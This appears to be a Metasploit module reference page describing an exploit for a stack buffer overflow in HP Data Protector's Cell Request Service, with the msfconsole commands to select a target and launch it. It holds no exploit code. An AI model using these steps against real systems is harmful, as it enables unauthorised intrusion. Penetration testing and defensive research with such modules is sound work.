Description

This module exploits a stack-based buffer overflow in the Hewlett-Packard Data Protector product. The vulnerability, due to the insecure usage of _swprintf, exists at the Cell Request Service (crs.exe) when parsing packets with opcode 211. This module has been tested successfully on HP Data Protector 6.20 and 7.00 on Windows XP SP3.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/windows/misc/hp_dataprotector_crs
msf exploit(hp_dataprotector_crs) > show targets
    ...targets...
msf exploit(hp_dataprotector_crs) > set TARGET < target-id >
msf exploit(hp_dataprotector_crs) > show options
    ...show and set options...
msf exploit(hp_dataprotector_crs) > exploit

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
